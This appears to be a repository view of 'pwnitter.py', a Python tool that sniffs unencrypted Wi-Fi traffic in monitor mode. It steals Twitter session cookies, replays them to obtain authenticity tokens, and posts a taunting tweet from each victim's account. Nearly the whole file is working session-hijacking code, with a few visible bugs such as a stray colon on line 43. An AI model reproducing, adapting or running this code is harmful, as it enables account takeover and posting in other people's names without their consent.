setup and tear down monitor in separate functions and change DBus API for Start()
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import socket
11 import time
12 import gobject
13 import select
14 import subprocess
15
16 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
17
18 def usage(): 
19     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
20     sys.exit(1)
21
22 NAME = 'de.cryptobitch.muelli.Pwnitter'
23
24 class Pwnitter(dbus.service.Object):
25     def __init__(self, bus, object_name, device='mon0'):
26         super(Pwnitter, self).__init__(bus, object_name)
27         self.device = device
28         
29         self.status = status
30         self.is_running = False
31
32     def setup_monitor(device='mon0'):
33         # FIXME: Replace hardcoded interface 
34         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
35         subprocess.call(cmd)
36         cmd = '/sbin/ifconfig mon0 up'.split()
37         subprocess.call(cmd)
38     
39     @dbus.service.method(NAME,
40                          in_signature='', out_signature='')
41     def Start(self):
42         # FIXME: Prevent double Start()
43         self.setup_monitor(self.device):
44         self.is_running = True
45         try:
46             self.cap = pcap.pcap(device)
47         except OSError, e:
48             print "Error setting up %s" % device
49             raise e
50         self.cap.setfilter('dst port 80')
51         cap_fileno = self.cap.fileno()
52         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
53     
54     def cap_readable_callback(self, source, condition, device):
55         return self.pwn(device, self.MessageSent)
56         
57     @dbus.service.signal(NAME)
58     def MessageSent(self, who):
59         print "Emitting MessageSent"
60         return who
61         return False
62         pass
63
64     @dbus.service.method(NAME,
65                          in_signature='s', out_signature='')
66     def SetMessage(self, message):
67         self.status = message
68         
69     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
70                          in_signature='', out_signature='s')
71     def GetMessage(self):
72         return self.status
73
74
75     def tear_down_monitor(device='mon0'):
76         cmd = '/sbin/ifconfig mon0 down'.split()
77         subprocess.call(cmd)
78         cmd = '/usr/sbin/iw dev mon0 del'.split()
79         subprocess.call(cmd)
80     
81     @dbus.service.method(NAME,
82                          in_signature='', out_signature='')
83     def Stop(self):
84         self.is_running = False
85         print "Receive Stop"
86         gobject.source_remove(self.source_id)
87         self.tear_down_monitor(self.device)
88         loop.quit()
89
90
91     def pwn(self, device, tweeted_callback=None):
92         processed = {}
93         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
94             ts, raw = self.cap.next()
95             eth = dpkt.ethernet.Ethernet(raw)
96             #print 'got a packet'  
97             # Depending on platform, we can either get fully formed packets or unclassified radio data
98             if isinstance(eth.data, str):
99                 data = eth.data
100             else:
101                 data = eth.data.data.data
102
103             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
104             if hostMatches:
105                 print 'Host matched'
106                 host = hostMatches.group(1)
107
108                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
109                 if cookieMatches:
110                     cookie = cookieMatches.group(1)
111
112                     headers = {
113                         "User-Agent": "Mozilla/5.0",
114                         "Cookie": cookie,
115                     }
116                     
117                     conn = httplib.HTTPSConnection(host)
118                     try:
119                         conn.request("GET", "/", None, headers)
120                     except socket.error, e:
121                         print e
122                     else:
123                         response = conn.getresponse()
124                         page = response.read()
125
126                         # Newtwitter and Oldtwitter have different formatting, so be lax
127                         authToken = ''
128
129                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
130                         if formMatches:
131                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
132
133                             if authMatches:
134                                 authToken = authMatches.group(1)
135
136                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
137                         if not nameMatches:
138                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
139
140                         name = ''
141                         if nameMatches:
142                             name = nameMatches.group(1)
143
144
145                         # We don't want to repeatedly spam people
146                         # FIXME: What the fuck logic. Please clean up
147                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
148                             headers = {
149                                 "User-Agent": "Mozilla/5.0",
150                                 "Accept": "application/json, text/javascript, */*",
151                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
152                                 "X-Requested-With": "XMLHttpRequest",
153                                 "X-PHX": "true",
154                                 "Referer": "http://api.twitter.com/p_receiver.html",
155                                 "Cookie": cookie
156                             }
157
158
159                             print 'Issueing connection'
160                             if host == 'mobile.twitter.com':
161
162                                 params = urllib.urlencode({
163                                     'tweet[text]': self.status,
164                                     'authenticity_token': authToken
165                                 })
166
167                                 conn = httplib.HTTPConnection("mobile.twitter.com")
168                                 conn.request("POST", "/", params, headers)
169
170                             else:
171
172                                 params = urllib.urlencode({
173                                     'status': self.status,
174                                     'post_authenticity_token': authToken
175                                 })
176
177                                 conn = httplib.HTTPConnection("api.twitter.com")
178                                 conn.request("POST", "/1/statuses/update.json", params, headers)
179
180
181                             response = conn.getresponse()
182                             print 'Got response: %s' % response.status
183                             if response.status == 200 or response.status == 302 or response.status == 403:
184
185                                 if name:
186                                     processed[name] = 1
187
188                                 # 403 is a dupe tweet
189                                 if response.status != 403:
190                                     print "Successfully tweeted as %s" % name
191                                     print 'calling %s' % tweeted_callback
192                                     if tweeted_callback:
193                                         tweeted_callback(name)
194                                 else:
195                                     print 'Already tweeted as %s' % name
196
197                             else:
198
199                                 print "FAILED to tweet as %s, debug follows:" % name
200                                 print response.status, response.reason
201                                 print response.read() + "\n"
202         return self.is_running # Execute next time, we're idle
203     # FIXME: Ideally, check     whether Pcap has got data for us
204
205 def main():
206
207     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
208     device = None
209     for o, a in opts:
210         if o == '-i':
211             device = a
212         else:
213             usage()
214     #pwn(device)
215
216
217
218 if __name__ == '__main__':
219     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
220
221     #session_bus = dbus.SessionBus()
222     session_bus = dbus.SystemBus()
223     name = dbus.service.BusName(NAME, session_bus)
224     pwnitter = Pwnitter(session_bus, '/Pwnitter')
225     #object.Start()
226
227     loop = gobject.MainLoop()
228     print "Running example signal emitter service."
229     # FIXME: This is debug code
230     #gobject.idle_add(pwnitter.MessageSent)
231     
232     loop.run()
233     print "Exiting for whatever reason"
234     #main()